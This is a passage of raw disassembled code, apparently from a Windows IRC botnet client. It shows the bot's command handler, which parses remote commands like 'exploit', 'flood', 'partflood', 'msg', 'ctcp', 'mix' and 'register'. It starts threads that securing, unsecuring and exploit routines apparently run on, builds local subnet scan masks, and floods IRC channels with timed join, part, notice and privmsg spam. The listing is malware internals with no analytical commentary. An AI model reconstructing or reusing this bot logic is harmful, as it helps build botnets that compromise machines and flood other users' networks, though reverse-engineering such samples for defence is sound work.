		push	offset unk_4324E0
		jmp	loc_4020B5
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: seg000:00402AB3j
					; seg000:00402AC8j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404876
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C710
		pop	ecx
		mov	[ebp-0A10h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404880


loc_404876:				; CODE XREF: seg000:0040485Dj
		mov	dword ptr [ebp-0A10h], 1


loc_404880:				; CODE XREF: seg000:00404874j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0A94h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-0A10h], ebx
		mov	[ebp-0A98h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0A0Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-0A08h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4048C7
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4048C7:				; CODE XREF: seg000:004048C0j
		push	eax
		push	offset dword_4324AC
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	22h
		push	eax
		call	sub_40B00E
		add	esp, 1Ch
		mov	[ebp-0A14h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0A98h]
		push	ebx
		push	eax
		push	offset sub_41A6A2
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0A14h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40493B


loc_404925:				; CODE XREF: seg000:00404939j
		cmp	[ebp-0A04h], ebx
		jnz	loc_40833C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_404925
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: seg000:00404923j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_432470
		jmp	loc_40832D
; ---------------------------------------------------------------------------


loc_40494C:				; CODE XREF: seg000:00402A89j
					; seg000:00402A9Ej
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_41AF50


loc_40495D:				; CODE XREF: seg000:004045AFj
					; seg000:004045C5j ...
		add	esp, 0Ch
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_404965:				; CODE XREF: seg000:00402A5Fj
					; seg000:00402A74j
		push	offset unk_4323C0
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_40496F:				; CODE XREF: seg000:00402A35j
					; seg000:00402A4Aj
		push	offset aXxerxx	; "XxerxX"
		push	offset dword_4323B0
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_40497E:				; CODE XREF: seg000:00402A0Bj
					; seg000:00402A20j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_4049DE
		push	esi
		call	sub_41BE29
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049D3
		cmp	eax, 1
		jge	short loc_4049D3
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4049C8
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43362C
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_4049C8:				; CODE XREF: seg000:004049A7j
		push	eax
		push	offset unk_432384
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_4049D3:				; CODE XREF: seg000:00404992j
					; seg000:00404997j
		push	eax
		push	offset unk_432358
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_4049DE:				; CODE XREF: seg000:00404987j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_4049E3:				; CODE XREF: seg000:004049FFj
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404A06
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_4049E3
		jmp	loc_40820E
; ---------------------------------------------------------------------------


loc_404A06:				; CODE XREF: seg000:004049F3j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset unk_43362C
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_404A20:				; CODE XREF: seg000:004029E1j
					; seg000:004029F6j
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A9
		call	sub_40B1D7
		push	ebx
		call	ds:dword_427068	; ExitProcess


loc_404A46:				; CODE XREF: seg000:004034E2j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AEC
		cmp	ds:dword_4D49A8, ebx
		jz	short loc_404A72
		push	offset dword_4D4388
		push	offset unk_43231C
		jmp	loc_404AFE
; ---------------------------------------------------------------------------


loc_404A72:				; CODE XREF: seg000:00404A61j
		push	10h
		pop	eax
		mov	[ebp-2D0h], eax
		push	eax
		lea	eax, [ebp-2E8h]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-2E8h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_42722C	; getsockname
		movzx	eax, byte ptr [ebp-2E2h]
		push	eax
		movzx	eax, byte ptr [ebp-2E3h]
		push	eax
		movzx	eax, byte ptr [ebp-2E4h]
		push	eax
		lea	eax, [ebp-0E30h]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-0E30h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_43231C
		push	eax
		call	sub_41BF36
		add	esp, 20h
		jmp	loc_403501
; ---------------------------------------------------------------------------


loc_404AEC:				; CODE XREF: seg000:00404A55j
		push	esi
		call	ds:dword_4D1230
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404B12
		push	offset unk_4322DC


loc_404AFE:				; CODE XREF: seg000:00404A6Dj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_403501
; ---------------------------------------------------------------------------


loc_404B12:				; CODE XREF: seg000:00404AF7j
		push	offset dword_4D4388
		call	sub_41C550
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset unk_4322B0
		push	eax
		mov	ds:dword_4D49A8, 1
		call	sub_41BF36
		add	esp, 14h
		jmp	loc_403501
; ---------------------------------------------------------------------------


loc_404B40:				; CODE XREF: seg000:004034CAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C3A
		mov	eax, [ebp-4]
		mov	esi, offset aO1_0 ; "#o1"
		mov	[ebp-13E4h], eax
		mov	eax, [ebp-8]
		mov	[ebp-13E0h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-13F4h], eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp-1474h]
		push	edi
		push	eax
		mov	dword ptr [ebp-13ECh], 1
		call	sub_41C030
		push	esi
		lea	eax, [ebp-14F4h]
		push	edi
		push	eax
		call	sub_41C030
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-1504h]
		push	10h
		push	eax
		call	sub_41C030
		lea	eax, [ebp-1504h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432278
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	8
		push	eax
		call	sub_40B00E
		add	esp, 3Ch
		mov	[ebp-13E8h], eax
		lea	eax, [ebp-2FCh]
		push	eax
		lea	eax, [ebp-1504h]
		push	ebx
		push	eax
		push	offset byte_40B7B5
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-13E8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_404C29


loc_404C13:				; CODE XREF: seg000:00404C27j
		cmp	[ebp-13DCh], ebx
		jnz	loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_404C13
; ---------------------------------------------------------------------------


loc_404C29:				; CODE XREF: seg000:00404C11j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_432238
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_404C3A:				; CODE XREF: seg000:00404B4Fj
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40972B
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40972B
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096E5
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096E5
		push	dword ptr [ebp+10h]
		push	offset aFlood	; "flood"
		call	sub_41C710
		mov	edi, ds:dword_427064
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057F6
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		push	dword ptr [ebp+18h]
		push	offset aLoad	; "load"
		call	sub_41C710
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404D3D
		cmp	[ebp+esi-80h], ebx
		jz	short loc_404D3D
		push	dword ptr [ebp+esi-80h]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-84h]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-88h]
		call	sub_418065
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+esi-80h]
		push	offset unk_4321D8
		push	eax
		call	sub_41BF36
		add	esp, 20h
		cmp	[ebp-8], ebx
		jnz	short loc_404D3D
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_404D3D:				; CODE XREF: seg000:00404CC9j
					; seg000:00404CCFj ...
		push	dword ptr [ebp+18h]
		push	offset dword_4321D4
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DA6
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404DA6
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	eax
		call	sub_41869A
		push	eax
		lea	eax, [ebp-50F4h]
		push	eax
		call	sub_41C550
		lea	eax, [ebp-50F4h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321C0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 28h


loc_404DA6:				; CODE XREF: seg000:00404D4Ej
					; seg000:00404D59j
		push	dword ptr [ebp+18h]
		push	offset dword_4321BC
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E0F
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404E0F
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	eax
		call	sub_41869A
		push	eax
		lea	eax, [ebp-4BF0h]
		push	eax
		call	sub_41C550
		lea	eax, [ebp-4BF0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321A8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 28h


loc_404E0F:				; CODE XREF: seg000:00404DB7j
					; seg000:00404DC2j
		push	dword ptr [ebp+18h]
		push	offset aNt	; "nt"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E78
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404E78
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	eax
		call	sub_41869A
		push	eax
		lea	eax, [ebp-46ECh]
		push	eax
		call	sub_41C550
		lea	eax, [ebp-46ECh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 28h


loc_404E78:				; CODE XREF: seg000:00404E20j
					; seg000:00404E2Bj
		push	dword ptr [ebp+18h]
		push	offset aMode	; "mode"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EE1
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_404EE1
		push	offset asc_43368C ; " "
		push	offset dword_4321D0
		push	eax
		call	sub_41869A
		push	eax
		lea	eax, [ebp-4DF0h]
		push	eax
		call	sub_41C550
		lea	eax, [ebp-4DF0h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 28h


loc_404EE1:				; CODE XREF: seg000:00404E89j
					; seg000:00404E94j
		push	dword ptr [ebp+18h]
		push	offset aJoin	; "join"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F20
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404F20
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h


loc_404F20:				; CODE XREF: seg000:00404EF2j
					; seg000:00404EFDj
		push	dword ptr [ebp+18h]
		push	offset aPart_0	; "part"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F5F
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404F5F
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h


loc_404F5F:				; CODE XREF: seg000:00404F31j
					; seg000:00404F3Cj
		push	dword ptr [ebp+18h]
		push	offset aPartflood ; "partflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FA3
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	short loc_404FA3
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_404FA3:				; CODE XREF: seg000:00404F70j
					; seg000:00404F7Bj
		push	dword ptr [ebp+18h]
		push	offset aPnick	; "pnick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405018
		cmp	[ebp+esi-88h], ebx
		jz	short loc_405018
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp-17B4h]
		push	edx
		push	dword ptr [ebp+esi-88h]
		push	offset dword_432140
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-17B4h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h


loc_405018:				; CODE XREF: seg000:00404FB4j
					; seg000:00404FBDj
		push	dword ptr [ebp+18h]
		push	offset dword_43212C
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40515F
		cmp	[ebp+esi-88h], ebx
		jz	loc_40515F
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h
		call	sub_41BF92
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_40515F:				; CODE XREF: seg000:00405029j
					; seg000:00405036j
		push	dword ptr [ebp+18h]
		push	offset dword_432128
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051F9
		cmp	[ebp+esi-88h], ebx
		jz	short loc_4051F9
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF92
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp-2C0h]
		push	edx
		push	dword ptr [ebp+esi-88h]
		push	offset dword_432100
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h


loc_4051F9:				; CODE XREF: seg000:00405170j
					; seg000:0040517Dj
		push	dword ptr [ebp+18h]
		push	offset aNick_0	; "nick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052F6
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jz	loc_4052F6
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		lea	eax, [ebp-4BCh]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp-4BCh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		lea	eax, [ebp-4BCh]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp-4BCh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		lea	eax, [ebp-4BCh]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp-4BCh]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_4052F6:				; CODE XREF: seg000:0040520Aj
					; seg000:00405219j
		push	dword ptr [ebp+18h]
		push	offset aChgnick	; "chgnick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40533C
		lea	eax, [ebp-1808h]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp-1808h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_40533C:				; CODE XREF: seg000:00405307j
		push	dword ptr [ebp+18h]
		push	offset aMsg	; "msg"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405428
		cmp	[ebp+esi-88h], ebx
		jz	loc_405428
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321C0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321C0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset dword_4321C0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_405428:				; CODE XREF: seg000:0040534Dj
					; seg000:0040535Aj
		push	dword ptr [ebp+18h]
		push	offset aNotice_0 ; "notice"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405514
		cmp	[ebp+esi-88h], ebx
		jz	loc_405514
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 24h
		call	sub_41BF92
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_405514:				; CODE XREF: seg000:00405439j
					; seg000:00405446j
		push	dword ptr [ebp+18h]
		push	offset aCtcp	; "ctcp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405628
		cmp	[ebp+esi-88h], ebx
		jz	loc_405628
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_4320B8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 20h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_4320A0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_432088
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_432088
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 10h


loc_405628:				; CODE XREF: seg000:00405525j
					; seg000:00405532j
		push	dword ptr [ebp+18h]
		push	offset aMix	; "mix"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40574B
		cmp	[ebp+esi-88h], ebx
		jz	loc_40574B
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset dword_4320B8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 20h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h
		call	sub_41BF92
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi ; dword_427064
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_40574B:				; CODE XREF: seg000:00405639j
					; seg000:00405646j
		push	dword ptr [ebp+18h]
		push	offset aRegister ; "register"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405791
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		jz	short loc_405791
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_405791:				; CODE XREF: seg000:0040575Cj
					; seg000:00405767j
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40624A
		mov	edi, offset dword_4DA28C


loc_4057AD:				; CODE XREF: seg000:004057CCj
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057C0
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057C0
		push	eax
		call	ds:dword_4D1288


loc_4057C0:				; CODE XREF: seg000:004057B1j
					; seg000:004057B7j
		add	edi, 210h
		cmp	edi, offset dword_4E09AC
		jl	short loc_4057AD
		cmp	[ebp-8], ebx
		jnz	loc_40624A
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_432028
